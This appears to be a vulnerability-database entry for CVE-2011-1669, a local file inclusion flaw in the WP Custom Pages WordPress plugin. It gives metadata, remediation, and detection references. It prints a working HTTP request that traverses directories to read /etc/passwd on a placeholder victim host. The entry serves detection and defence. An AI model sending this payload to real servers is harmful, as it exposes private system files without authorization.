🔙 목록으로 돌아가기

CVE-2011-1669: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)

TitleWP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
Authordaffainfo
SeverityMedium
ImpactAn attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score5
EPSS Score0.01195
CVE IDCVE-2011-1669
CWE IDCWE-22
Tags cve cve2011 edb wordpress wp-plugin lfi mikoviny vuln

🔍 Vulnerability Description

A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.

🌐 HTTP Request

GET /wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-1669.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-1669.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A